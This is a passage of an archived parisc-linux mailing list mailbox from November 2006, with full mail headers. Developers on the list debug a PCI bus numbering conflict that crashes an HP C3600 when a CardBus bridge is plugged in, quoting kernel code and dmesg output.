List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: c6xscSlBTiEtQKyUaGRwVVx1ZUVSRNcK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24071

On 11/13/06, Joe Emenaker <joe@emenaker.com> wrote:
> When trying to find a Debian HPPA cd that would work on my 9000, someone
> pointed me to some guy who makes fairly frequent builds of the kernel
> and cd image. It wasn't a fancy webpage... just a list of files he kept
> in his personal (ie, with a "~" in the url) folder.
>
> Anybody know what I'm talking about?

Maybe this: http://people.debian.org/~kyle/d-i/hppa/daily/ ?

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Wed, 15 Nov 2006 01:00:22 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20061115080022.GB30664@colo.lackof.org>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624209 21553 80.91.229.3 (22 Nov 2014 02:43:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Nov 2006 07:59:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 15 Nov 2006 08:59:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 79F297D8F4;
	Wed, 15 Nov 2006 00:59:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28887-08; Wed, 15 Nov 2006 00:59:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B1D27D8F5;
	Wed, 15 Nov 2006 00:59:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 665D97D8F3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 00:59:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28887-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 00:59:05 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 0932D7D626
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 00:59:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id CB30F36003C;
	Wed, 15 Nov 2006 01:00:22 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08676-03; Wed, 15 Nov 2006 01:00:22 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5102336000D; Wed, 15 Nov 2006 01:00:22 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hbw/NZ1fZCEXX7GPamwhKiFwIGhpZUYq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24072

On Wed, Nov 08, 2006 at 03:07:06PM +0100, Guy Martin wrote:
> Hi All,
> 
> Referencing this thread about a crash when there is a pcmcia bridge plugged in a C3600 :
> http://lists.parisc-linux.org/pipermail/parisc-linux/2006-October/030312.html
...
> it would be better to fix pci_scan_bus_parented() which returns NULL

Guy,

pci_scan_bus_parented() calls pci_create_bus() in order to allocate
the bus.   pci_create_bus() is obviously failing.

Can you add printks to each of the follow labels in pci_create_bus()
and printks for the first two "return NULL" statements?

It's ok if your tree also has the patch you proposed so it doesn't crash.

Code from drivers/pci/probe.c:pci_create_bus()
...
sys_create_link_err:
        class_device_remove_file(&b->class_dev, &class_device_attr_cpuaffinity);
class_dev_create_file_err:
        class_device_unregister(&b->class_dev);
class_dev_reg_err:
        device_unregister(dev);
dev_reg_err:
        down_write(&pci_bus_sem);
        list_del(&b->node);
        up_write(&pci_bus_sem);
err_out:
        kfree(dev);
        kfree(b);
        return NULL;
}

Once I know which error is occurring, then I can take
the next step towards investigating the problem.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Wed, 15 Nov 2006 12:25:06 +0100
Lines: 98
Approved: news@gmane.org
Message-ID: <20061115122506.523bdd01.gmsoft@tuxicoman.be>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
	<20061115080022.GB30664@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624209 21564 80.91.229.3 (22 Nov 2014 02:43:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Nov 2006 11:25:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 15 Nov 2006 12:25:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B2C77D8FE;
	Wed, 15 Nov 2006 04:25:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31907-01; Wed, 15 Nov 2006 04:25:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A69207D905;
	Wed, 15 Nov 2006 04:25:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 166307D8FE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 04:25:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31815-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 04:25:16 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 66F0E7D8F9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 04:25:16 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id 5DD4CEB15B; Wed, 15 Nov 2006 12:25:15 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id D104E2FD1A; Wed, 15 Nov 2006 12:25:11 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.62) (envelope-from <gmsoft@tuxicoman.be>)
	id 1GkIrU-00067G-F2; Wed, 15 Nov 2006 12:23:24 +0100
In-Reply-To: <20061115080022.GB30664@colo.lackof.org>
X-Mailer: Sylpheed version 2.2.9 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: B8xofcUNPjltCOrBOTU2jVczMTE2NYl7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24073

Hi Grant,

It looks like pci_find_bus() return non null for the pcmcia bridge.

        if (pci_find_bus(pci_domain_nr(b), bus)) {
                /* If we already got to this bus through a different bridge, ignore it */
                pr_debug("PCI: Bus %04x:%02x already known\n", pci_domain_nr(b), bus);
                goto err_out;
        }


With PCI_DEBUG and some more printk() I can see this in my dmesg :

PCI: Found 0000:01:06.0 [1180/0475] 000607 02
PCI: Calling quirk 102564c8 for 0000:01:06.0
PCI: Fixups for bus 0000:01
PCI: Scanning behind PCI bridge 0000:01:06.0, config 000000, pass 0
PCI: Scanning behind PCI bridge 0000:01:06.0, config 000000, pass 1
PCI: Bus scan for 0000:01 returning with max=05
PCI: Enabling bus mastering for device 0000:01:06.0
PCI: Bus 0000:02 already known
PCI: Reached err_out:

01:06.0 CardBus bridge: Ricoh Co Ltd RL5c475 (rev 80)
        Subsystem: CARRY Computer ENG. CO Ltd Unknown device 0101
        Flags: bus master, medium devsel, latency 128
        Bus: primary=01, secondary=02, subordinate=05, sec-latency=176
        I/O window 0: 00000000-00000003 [disabled]
        I/O window 1: 00000000-00000003 [disabled]
        16-bit legacy interface ports at 0001

01:06.0 0607: 1180:0475 (rev 80)
        Subsystem: 14ef:0101
        Flags: bus master, medium devsel, latency 128
        Bus: primary=01, secondary=02, subordinate=05, sec-latency=176
        I/O window 0: 00000000-00000003 [disabled]
        I/O window 1: 00000000-00000003 [disabled]
        16-bit legacy interface ports at 0001

This is 2.6.18.2-pa0 on C3600.

Let me know if you need anything else.

Cheers,
  Guy



On Wed, 15 Nov 2006 01:00:22 -0700
Grant Grundler <grundler@parisc-linux.org> wrote:

> On Wed, Nov 08, 2006 at 03:07:06PM +0100, Guy Martin wrote:
> > Hi All,
> > 
> > Referencing this thread about a crash when there is a pcmcia bridge plugged in a C3600 :
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2006-October/030312.html
> ...
> > it would be better to fix pci_scan_bus_parented() which returns NULL
> 
> Guy,
> 
> pci_scan_bus_parented() calls pci_create_bus() in order to allocate
> the bus.   pci_create_bus() is obviously failing.
> 
> Can you add printks to each of the follow labels in pci_create_bus()
> and printks for the first two "return NULL" statements?
> 
> It's ok if your tree also has the patch you proposed so it doesn't crash.
> 
> Code from drivers/pci/probe.c:pci_create_bus()
> ...
> sys_create_link_err:
>         class_device_remove_file(&b->class_dev, &class_device_attr_cpuaffinity);
> class_dev_create_file_err:
>         class_device_unregister(&b->class_dev);
> class_dev_reg_err:
>         device_unregister(dev);
> dev_reg_err:
>         down_write(&pci_bus_sem);
>         list_del(&b->node);
>         up_write(&pci_bus_sem);
> err_out:
>         kfree(dev);
>         kfree(b);
>         return NULL;
> }
> 
> Once I know which error is occurring, then I can take
> the next step towards investigating the problem.
> 
> thanks,
> grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Wed, 15 Nov 2006 05:23:52 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20061115122352.GH19143@parisc-linux.org>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
	<20061115080022.GB30664@colo.lackof.org>
	<20061115122506.523bdd01.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624210 21572 80.91.229.3 (22 Nov 2014 02:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Nov 2006 12:24:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 15 Nov 2006 13:24:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8E9F7D90F;
	Wed, 15 Nov 2006 05:23:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32468-06; Wed, 15 Nov 2006 05:23:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4CEBE7D90C;
	Wed, 15 Nov 2006 05:23:57 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 767937D906
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 05:23:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32468-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 05:23:53 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 262417D8F5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 05:23:53 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id D7D0A494005; Wed, 15 Nov 2006 05:23:52 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20061115122506.523bdd01.gmsoft@tuxicoman.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0DRocZ53X1VpCOuYY2Fyvfx3SDc4NAws
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24074

On Wed, Nov 15, 2006 at 12:25:06PM +0100, Guy Martin wrote:
> It looks like pci_find_bus() return non null for the pcmcia bridge.
> 
>         if (pci_find_bus(pci_domain_nr(b), bus)) {
>                 /* If we already got to this bus through a different bridge, ignore it */
>                 pr_debug("PCI: Bus %04x:%02x already known\n", pci_domain_nr(b), bus);
>                 goto err_out;
>         }

Oh.  So we got a bus numbering conflict.  Yay.

> With PCI_DEBUG and some more printk() I can see this in my dmesg :
> 
> PCI: Found 0000:01:06.0 [1180/0475] 000607 02
> PCI: Calling quirk 102564c8 for 0000:01:06.0
> PCI: Fixups for bus 0000:01
> PCI: Scanning behind PCI bridge 0000:01:06.0, config 000000, pass 0
> PCI: Scanning behind PCI bridge 0000:01:06.0, config 000000, pass 1
> PCI: Bus scan for 0000:01 returning with max=05
> PCI: Enabling bus mastering for device 0000:01:06.0
> PCI: Bus 0000:02 already known
> PCI: Reached err_out:
> 
> Let me know if you need anything else.

I bet a plain lspci will show a bus 2 elsewhere (probably one of the
root busses).  ie: we need to renumber all our busses, just like we do
for Dino.  Either that, or start using PCI domains, but I'd rather not
go there just yet.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Wed, 15 Nov 2006 08:54:15 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <1163602455.3524.8.camel@mulgrave.il.steeleye.com>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
	<20061115080022.GB30664@colo.lackof.org>
	<20061115122506.523bdd01.gmsoft@tuxicoman.be>
	<20061115122352.GH19143@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624210 21573 80.91.229.3 (22 Nov 2014 02:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:30 +0000 (UTC)
Cc: Guy Martin <gmsoft@tuxicoman.be>,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Nov 2006 14:54:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 15 Nov 2006 15:54:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 675717D91B;
	Wed, 15 Nov 2006 07:54:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03250-04; Wed, 15 Nov 2006 07:54:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 601647D914;
	Wed, 15 Nov 2006 07:54:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F1697D91A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 07:54:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02895-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 07:54:45 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id 7EB717D918
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Nov 2006 07:54:45 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	kAFEsGx26232; Wed, 15 Nov 2006 09:54:16 -0500
In-Reply-To: <20061115122352.GH19143@parisc-linux.org>
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JUYwLbosTlIvULeQeGhrfflGU2poZdkI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24075

On Wed, 2006-11-15 at 05:23 -0700, Matthew Wilcox wrote:
> I bet a plain lspci will show a bus 2 elsewhere (probably one of the
> root busses).  ie: we need to renumber all our busses, just like we do
> for Dino.  Either that, or start using PCI domains, but I'd rather not
> go there just yet.

The dino code will probably be pretty much transportable over to LBA.
Dino was redone like this specifically to get PCMCIA bridges working,
and for the same reason (Firmware doesn't scan them, so they ended up
with conflicting or unassigned bus numbers).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LBA PCI : avoid crash when pluging a pcmcia bridge
Date: Wed, 15 Nov 2006 19:08:30 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20061115190830.f8e99725.gmsoft@tuxicoman.be>
References: <20061108150706.bb658b27.gmsoft@tuxicoman.be>
	<20061115080022.GB30664@colo.lackof.org>
	<20061115122506.523bdd01.gmsoft@tuxicoman.be>
	<20061115122352.GH19143@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624210 21578 80.91.229.3 (22 Nov 2014 02:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Nov 2006 18:09:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 15 Nov 2006 19:09:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1D267D92D;
	Wed, 15 Nov 2006 11:09:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05793-06; Wed, 15 Nov 2006 11:09:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
